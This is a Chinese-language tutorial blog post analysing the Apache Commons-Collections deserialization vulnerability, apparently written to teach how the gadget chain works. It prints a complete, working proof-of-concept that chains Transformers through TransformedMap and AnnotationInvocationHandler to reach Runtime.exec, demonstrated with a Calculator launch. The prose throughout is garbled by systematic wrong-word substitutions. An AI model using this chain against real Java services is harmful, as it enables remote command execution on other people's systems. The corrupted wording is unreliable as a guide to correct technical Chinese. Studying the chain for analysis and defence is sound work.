关于java:通过Apache-Commoncollections分析Java反序列化

前言

本文将通过 Apache Commons-collections爆出的反序列化破绽来作为例子进行原理剖析。

破绽成因

在这个Java反序列化破绽的利用链次要由三个局部组成

1、能够执行恶意代码的对象（在这个例子中即为Commons-collection中的Transformer类）

2、一个被歹意对象“寄生的宿主”，艰深的来说就是，宿主对象反序列化的时候因为须要执行readObject办法，而readObject办法在能够被序列化的类中须要被重写，重写后的办法可能存在某些可能触发歹意对象执行的操作。

3、须要一个可能将歹意对象进行包装的类。在有的状况下歹意对象没有方法间接‘寄生“在宿主上，这时候就须要一个类可能将歹意对象进行包装

在这个例子中恶意代码对象为Commons-collection中的Transformer类，这个类本来的设计是用来对类进行转换，而通过精心设计（后文会具体解说）后可能通过这个类的transform办法实现命令执行。而被寄生的宿主为AnnotationInvocationHandlerMap类，通过其readObject办法可能触发破绽。而AnnotationInvocationHandlerMap类中有一个Map类型的成员变量memberValues，Transformer类能够通过用Map类包装寄生在AnnotationInvocationHandlerMap类

接下来会分为两个局部解释，即1如何通过transfomer进行命令执行，2是如何利用反序列化实现一个调用链

Transformer类的作用

首先咱们先看一下导致这个问题的外围类Transformer

public interface Transformer {
    public Object transform(Object input);
}

这是一个接口类，须要实现一个transform办法，而transform办法的目标是将input object转换为一个output object 从而实现类型的转换

在整个调用过程中用到了三个实现Transformer的实现类,ConstantTransformer,InvokerTransformer,ChainedTransformer.

ConstantTransformer

//以下省去了局部代码
public class ConstantTransformer implements Transformer, Serializable {

    /** Serial version UID */
    private static final long serialVersionUID = 6374440726369055124L;

    /** The closures to call in turn */
    private final Object iConstant;

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
      public Object transform(Object input) {
        return iConstant;
    }
}

可通过查看ConstantTransformer的源码发现，其transform办法无论输出什么类型都会返回一种初始化时定好的类型。

System.out.println(new ConstantTransformer(Runtime.class).transform(String.class));
//输入：class java.lang.Runtime
//无论transform的参数是什么都会失去雷同的后果

InvokerTransformer

//以下省去了局部代码
public class InvokerTransformer implements Transformer, Serializable {

    /** The serial version */
    private static final long serialVersionUID = -8653385846894047688L;
    
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
  
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
          ***
    }

}

return method.invoke(input, iArgs);

InvokerTransformer的transform办法则是将传入的类的某种办法（办法名和参数同样在初始化的时候设定好了）利用invoke进行调用

System.out.println(new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}).transform(Runtime.class));
//output：public static java.lang.Runtime java.lang.Runtime.getRuntime()

当输出的参数为Runtime.class时相当于会调用 Runtime.class的getMethod办法

public Method getMethod(String name, Class<?>... parameterTypes)

能够看到这个办法所须要的参数为name和参数类型，所以咱们如果须要获取Runtime的getRuntime办法则须要传入的参数为 “getRuntime” 即办法名以及其对应的参数类型 Class<?>

public static Runtime getRuntime() {
        return currentRuntime;
}

而getRuntime是个无参函数，所以传入一个空的Class数组即可。即Class[0]。

ChainedTransformer

//省略局部代码
public class ChainedTransformer implements Transformer, Serializable {

    /** Serial version UID */
    private static final long serialVersionUID = 3514945074733160196L;

    /** The transformers to call in turn */
    private final Transformer[] iTransformers;

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
  
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
}

ChainedTransformer的transform办法的作用是调用多个transfomer的transform顺次对object进行操作也就是能够将多个transformer串联起来

命令执行

假如咱们须要执行一段这样的代码 Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")

那咱们能够结构如下的调用链来实现

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
Transformer transformer = new ChainedTransformer(transformers);
transformer.transform(new Object());

即以上四个Transformer形成了一个ChainedTransformer，最终通过调用ChainedTransformer的transform办法来实现命令执行

//通过ConstantTransformer先将传入的obejct批改为Runtime.class
new ConstantTransformer(Runtime.class)

之前提到过InvokerTransformer的transformer办法的作用是利用反射调用输出对象的某个办法

//将Runtime.class作为输出能够失去getRuntime的Method对象
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]})
  
//调用Method对象的invoke办法,参数为new Object[]{null,new Object[0]} 
//相当于执行method(getRuntime).invoke(null,new Object[0])
//因为getRuntime为静态方法，所以不须要传入实例，所以invoke办法的第一个参数能够为null,之前提到过getRuntime为无参办法所以参数只须要传入new Object[0]即一个空数组，至于这里为什么不也传入一个null是因为当invoke做遍历args时不会报错
//所以这个InvokerTransformer达到了传入一个Method对象转化为一个Runtime对象的目标
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),

//拿到Runtime对象后再通过一次反射进行命令执行即可
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})

TransformedMap

以上的调用形式最终须要ChainedTransformer调用transform办法，那当初问题就变成了如何去触发这个办法，通过find usage看看有哪些类用到了Transformer，能够看到有一个TransformedMap应用了，对源码进行查看

//以下省略局部代码
public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {

    /** Serialization version */
    private static final long serialVersionUID = 7023152376788900464L;

    /** The transformer to use for the key */
    protected final Transformer keyTransformer;
    /** The transformer to use for the value */
    protected final Transformer valueTransformer;

 
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
   
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
 
    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

    protected Map transformMap(Map map) {
        if (map.isEmpty()) {
            return map;
        }
        Map result = new LinkedMap(map.size());
        for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
            Map.Entry entry = (Map.Entry) it.next();
            result.put(transformKey(entry.getKey()), transformValue(entry.getValue()));
        }
        return result;
    }
        /**
     * Override to transform the value when using <code>setValue</code>.
     * 
     * @param value  the value to transform
     * @return the transformed value
     * @since Commons Collections 3.1
     */
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }
}

TransformedMap执行setValue/put/putAll中的任意办法都会调用transform办法，从而也就会触发命令执行。咱们只须要将之前结构好的歹意ChainedTransformer包装进TransformedMap并想方法触发TransformedMap的setValue/put/putAll办法即可

Map innerMap = new HashMap();
innerMap.put("value","1");
Map ouputMap = TransformedMap.decorate(innerMap,null,chainedTransformer);

AnnotationInvocationHandlerMap类

在Java的低版本(jdk1.8较低的版本如 1.8u60,在较高的jdk版本该问题类曾经被修复)代码中存在AnnotationInvocationHandlerMap类，其readObject办法如下所示

 private void readObject(java.io.ObjectInputStream s)
          throws java.io.IOException, ClassNotFoundException {
      s.defaultReadObject();

      // Check to make sure that types have not evolved incompatibly

      AnnotationType annotationType = null;
      try {
          annotationType = AnnotationType.getInstance(type);
      } catch (IllegalArgumentException e) {
          // Class is no longer an annotation type; time to punch out
          throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
      }

      Map<String, Class<?>> memberTypes = annotationType.memberTypes();

      // If there are annotation members without values, that
      // situation is handled by the invoke method.
      for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
          String name = memberValue.getKey();
          Class<?> memberType = memberTypes.get(name);
          if (memberType != null) {  // i.e. member still exists
              Object value = memberValue.getValue();
              if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                  memberValue.setValue(
                          new AnnotationTypeMismatchExceptionProxy(
                                  value.getClass() + "[" + value + "]").setMember(
                                  annotationType.members().get(name)));
              }
          }
      }
  }

AnnotationInvocationHandler类实现了InvocationHandler(Java动静代理)接口和java.io.Serializable接口，它还重写了readObject办法，在readObject办法中还间接的调用了TransformedMap中MapEntry的setValue办法，触发TransformedMap中的checkSetValue办法，从而也就触发了transform办法，实现了整个攻打链的调用。

因为sun.reflect.annotation.AnnotationInvocationHandler是一个外部API专用的类，在内部咱们无奈通过类名创立出AnnotationInvocationHandler类实例，所以咱们须要通过反射的形式创立出AnnotationInvocationHandler对象

//jdk1.8高版本该类的办法readObject()是应用了native办法安全更新map，无奈再触发
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
InvocationHandler o = (InvocationHandler) ctor.newInstance(Target.class,ouputMap);

咱们只须要将这个InvocationHandler对象序列化后就能够失去用于攻打的payload了。

残缺代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class SerializeMapForTransformer
{
    public static void main( String[] args ) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformer = new ChainedTransformer(transformers);
        //利用AnnotationInvocationHandler反序列化，间接触发Transformer ---jdk1.8高版本曾经更新无奈再胜利了
        testAnnotationInvocationHandlerMap(transformer);

        //测试TransformerMap在map的key、value扭转中触发
        //testMap(transformer);

    }

    /**
     * 测试AnnotationInvocationHandler反序列化中，间接触发Transformer
     *
     */
    private static void testAnnotationInvocationHandlerMap(Transformer transformer) throws Exception{
        //转化map
        Map innerMap = new HashMap();
        innerMap.put("value","1");
        Map ouputMap = TransformedMap.decorate(innerMap,null,transformer);
        //jdk1.8该类的办法readObject()是应用了native办法安全更新map，无奈再触发
        Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        ctor.setAccessible(true);
        InvocationHandler o = (InvocationHandler) ctor.newInstance(Target.class,ouputMap);
        //序列化输入
        byte[] bytes = serialize(o);
        //反序列化
        deserialize(bytes);
    }

    /**
     * 测试TransformerMap在包装的map中，key、value扭转触发Transformer
     *
     */
    private static void testMap(Transformer transformer) throws Exception{
        //转化map
        Map ouputMap = TransformedMap.decorate(new HashMap<>(),null,transformer);
        //序列化输入
        byte[] bytes = serialize(ouputMap);
        //反序列化
        Map innerMap = deserialize(bytes);
        //put操作触发，命令链
        innerMap.put("1","value");
    }
    public static byte[] serialize(Object o) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o);
        byte[] bytes = byteArrayOutputStream.toByteArray();
        objectOutputStream.close();
        return bytes;
    }
    public static <T>T deserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        T o = (T) objectInputStream.readObject();
        objectInputStream.close();
        return o;
    }

}

关于java:通过Apache-Commoncollections分析Java反序列化

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破绽成因

Transformer类的作用

ConstantTransformer

InvokerTransformer

ChainedTransformer

命令执行

TransformedMap

AnnotationInvocationHandlerMap类

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